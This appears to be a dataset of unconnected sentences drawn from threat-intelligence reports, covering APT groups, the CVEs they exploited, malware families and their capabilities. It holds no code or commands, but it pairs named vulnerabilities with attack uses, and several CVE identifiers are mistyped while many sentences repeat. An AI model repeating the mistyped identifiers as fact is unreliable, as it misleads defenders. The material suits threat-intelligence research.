In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The document attached to this e-mail exploits CVE-2012-0158 .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Earlier this month , Securelist 's technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Earlier this month , we caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
Another set of attacks called Operation Erebus leverages another Flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
In that case ,we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
Prior to that report ,we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) ,which is believed a work of DarkHydrus .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
One vulnerability is a Windows zero-day vulnerability (CVE-2019-0703) discovered by Symantec .
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability (CVE-2017-0143) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the ShadowThese include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
Beginning in August 2016 , a group calling itself the Shadowbegan releasing tools it claimed to have originated from the Equation Group .
The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
At this time , we do not believe that the attackers found a new ASA exploit .
We believe the groups moved to use CVE-2018-0798 instead of the other Microsoft Equation Editor Remote Code Execution (RCE) vulnerabilities because the former is more reliable as it works on all known versions of Equation Editor .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese cyber espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
Previously , Cloud Atlas dropped its validator” implant named PowerShower” directly , after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
NetWire , DarkComet , NanoCore , LuminosityLink , Remcos and Imminent Monitor are all designed to provide remote access to compromised systems .
The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes .
This ' connection bouncer ' tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic .
It is capable of a variety of functions , including credential theft , hard drive and data wiping , disabling security software , and remote desktop functionality .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak trojan .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
That post included download links for a slew of NSA hacking tools and exploits , many of which could be used to break into hardware firewall appliances , and in turn , corporate or government networks .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz consists entirely of plugins to gather intelligence , use exploits and examine already controlled machines .
DanderSpritz consists entirely of plugins to gather intelligence , use exploits and examine already controlled machines .
PeddleCheap is a plugin of DanderSpritz which can be used to configure implants and connect to infected machines .
Each of them consists of a set of plugins designed for different tasks : while FuzzBunch plugins are responsible for reconnaissance and attacking a victim , plugins in the DanderSpritz framework are developed for managing already infected victims .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
The ShadowBrokers is a group of hackers known for leaking exclusive information about the National Security Agency – NSA 's hacking tools and tactics .
It captures information using plugins to compromise webcam and microphone output along with documenting log keystrokes , carrying out surveillance and access external drives .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
The toolset includes reams of documentation explaining how the cyber weapons work , as well as details about their use in highly classified intelligence operations abroad .
The Ham Backdoor functions primarily as a modular platform , which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control ( C2 ) server .
Originally targeting Western European banks , Emotet has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Originally targeting Western European banks , it has since been developed into a robust global botnet that is comprised of several modules , each of which equips Emotet with different spamming , email logging , information stealing , bank fraud , downloading , and DDoS , among others .
Beginning in mid-January 2019 , TA542 distributed millions of Emotet-laden emails in both English and German .
DanaBot is a Trojan that includes banking site web injections and stealer functions .
Two binder tools — used to disguise custom executables as legitimate Microsoft implants — were discovered by Falcon Intelligence and linked to MYTHIC LEOPARD in July 2017 .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory .
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Both groups can set permissions on specific files to Everyone , and work in tandem with the PLATINUM backdoors .
At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory .
Hot patching is an operating system-supported feature for installing updates without having to reboot or restart a process .
Until this incident , no malware had been discovered misusing the AMT SOL feature for communication .
The folders seem to contain information about the company 's development documentation , artificial intelligence model , web security software , and antivirus software base code .
As mentioned in the Hermes to Ryuk section , Ryuk uses a combination of symmetric ( AES ) and asymmetric ( RSA ) encryption to encrypt files .
Their software , once surreptitiously installed on a target 's cell phone or computer , can be used to monitor the target 's communications , such as phone calls , text messages , Skype calls , or emails .
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
This way , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
The Silence.Main Trojan , which is the main stage of the attack ,has a full set of commands to control a compromised computer .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc , and can act as a keylogger .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets .
The batch script would then attempt to have the VNC program connect to a command and control ( C2 ) server to enable the server to control the compromised system .
The IndiaBravo-PapaAlfa installer is responsible for installing the service DLL variant .
These tools often lay the groundwork for further malicious activity , such as the targeting of antivirus capabilities and the disabling of firewalls , both of which are very fundamental defensive measures .
The first class , colloquially known as " wipers " , are a class of malware has the primary intent of destroying data on a victim 's machine .
DDoS malware floods a target 's network-connected service with an excessive number of request at once in order to overload the capacity of the server .
The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization ( ICAO ) 's phonetic alphabet ,2 commonly referred to as the NATO phonetic alphabet .
Loaders are typically responsible for loading a DLL component into memory given that a DLL cannot operate in a standalone mode such as an executable .
This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans .
FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors .
As a backdoor Trojan , Volgmer has several capabilities including : gathering system information , updating service registry keys , downloading and uploading files , executing commands , terminating processes , and listing directories .
RATANKBA is delivered to its victims using a variety of lure documents , including Microsoft Office documents , malicious CHM files , and different script downloaders .
These files have the capability to download and install malware , install proxy and Remote Access Trojans ( RATs ) , connect to command and control ( C2 ) servers to receive additional instructions , and modify the victim 's firewall to allow incoming connections .
The WannaCry malware consists of two distinct components , one that provides ransomware functionality and a component used for propagation , which contains functionality to enable SMB exploitation capabilities .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
WCry uses a combination of the RSA and AES algorithms to encrypt files .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Depending on placement , a web shell can provide continued access to victims ' environments , re-infect victim systems , and facilitate lateral movement .
While it lacks more advanced functionality like screen capturing , it is still able to carry out most tasks desired by threat actors : exfiltration of files , ability to download and execute additional payloads , and gain remote shell access .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor .
The SHAPESHIFT wiper is capable of wiping disks and volumes , as well as deleting files .
The HTA files contained job descriptions and links to job postings on popular employment websites .
The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised .
Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .
The macro ran a PowerShell command that attempted to download additional PowerShell loader scripts for PupyRAT , a research and penetration-testing tool that has been used in attacks .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
Poison Ivy is a remote access tool that is freely available for download from its official web site at www.poisonivy-rat.com .
Poison Ivy includes features common to most Windows-based RATs , including key logging , screen capturing , video capturing , file transfers , system administration , password theft , and traffic relaying .
The Poison Ivy builder kit allows attackers to customize and build their own PIVY server , which is delivered as mobile code to a target that has been compromised , typically using social engineering .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
ISMDoor is able to exfiltrate data , take screenshots , and execute arbitrary commands on the victim 's machine .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
Based on the command capabilities of the Taidoor malware , we were able to determine that data theft and data destruction was possible .
This script relays commands and output between the controller and the system .
But two tools used were unique to the group : ASPXTool , an Internet Information Services ( IIS ) specific " Web shell " used to gain access to servers inside a target 's network ; and the OwaAuth credential stealing tool and Web shell , used to attack Microsoft Exchange servers running the Web Outlook interface .
PsExec is a Microsoft Sysinternals tool for executing processes on other systems and is one of the most frequently seen legitimate pieces of software used by attackers attempting to live off the land .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
As detailed in the previous section , this malware is able to manipulate and exfiltrate emails .
Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string " [username]=>singleton-instance-mutex " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Using XREFs during static analysis is a common technique to quickly find where functions of interest are called .
Although the developers of Bookworm have included only keylogging functionality in Bookworm as a core ability , as suggested in Table 1 , several of the embedded DLLs provide Leader with cryptographic and hashing functions , while others support Leader 's ability to communicate with its C2 server .
As mentioned in our previous blog on Bookworm , the Trojan sends a static date string to the C2 server that we referred to as a campaign code .
We believed that the actors would use this date code to track their attack campaigns ; however , after continued analysis of the malware , we think these static dates could also be a build identifier for the Trojan .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
A Trojan sending a build identifier to its C2 server is quite common , as it notifies the threat actors of the specific version of the Trojan in which they are interacting .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
We believe that Bookworm samples use the static date string as campaign codes , which we used to determine the approximate date of each attack that we did not have detailed targeting information .
Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central bank of Russia ( further referred to as BCS CBR ) .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Tweety Chat 's Android version can record audio , too .
One of its file stealers , swissknife2 , abuses a cloud storage service as a repository of exfiltrated files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
To obtain logins and passwords they applied keyloggers built into Corkow , as well as a commonly used feature of Mimikatz , dumping clear text Windows credentials from LSA .
Palo Alto Networks has noted and described the differences of two malware agents developed in parallel , with commonalities in behavior but differing functionalities ; families described as Infy and Infy M. Our primary observation was of the Infy ( non-M ) malware , which primarily functions as a keylogger for the collection of account credentials .
At this stage , the malware gathers information about the infected computer .
Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles , collaborative document editing sites , and blogs for C&C .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
If it did , the malware downloaded additional modules , including ones allowing for the automatic creation of unauthorized payment orders , changing details in legal payment orders , etc .
Lurk uses a form of steganography : that's where one file is hidden away inside another file of a completely different sort , such as an image , audio , or video file .
To do this , it employs a number of specific commands via DNSMessenger .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
We believe the 2013 , 2015 , and 2016 KeyBoy samples provide evidence of a development effort focused on changing components that would be used by researchers to develop detection signatures .
KeyBoy provides basic backdoor functionality , allowing the operators to select from various capabilities used to surveil and steal information from the victim machine .
If KeyBoy is a single component of a larger espionage toolkit , the developers may have realized that this older , static-key based , configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite .
The NetTraveler trojan has been known to be used in targeted cyber espionage attacks for more than a decade by nation state threat actors and continues to be used to target its victims and exfiltrate data .
This program is designed to capture keystrokes , take screenshots of the user 's desktop and get contents from the clipboard .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
Upon successful exploitation , the attachment will install the trojan known as NetTraveler using a DLL side-loading attack technique .
In addition , the NetTraveler toolkit was able to install additional info-stealing malware as a backdoor , and it could be customized to steal other types of sensitive information such as configuration details for an application or computer-aided design files .
The PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
he PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
One of the most notable functions of the initial dropper is to bypass Windows UAC ( User Account Control ) in order to execute the next payload with higher privileges .
Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it .
The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload .
He is responsible for developing tools for conducting attacks and is also able to modify complex exploits and third party software .
wuaupdt.exe is a CMD backdoor ,which can receive and execute CMD commands sent from C2 .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
The increasing sophistication of surveillance techniques has drawn comparisons with George Orwell's 1984 , but Weeping Angel , developed by the CIA's Embedded Devices Branch (EDB) , which infests smart TVs , transforming them into covert microphones , is surely its most emblematic realization .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
The Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS (JukeBox) and Linux (DanceFloor) .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
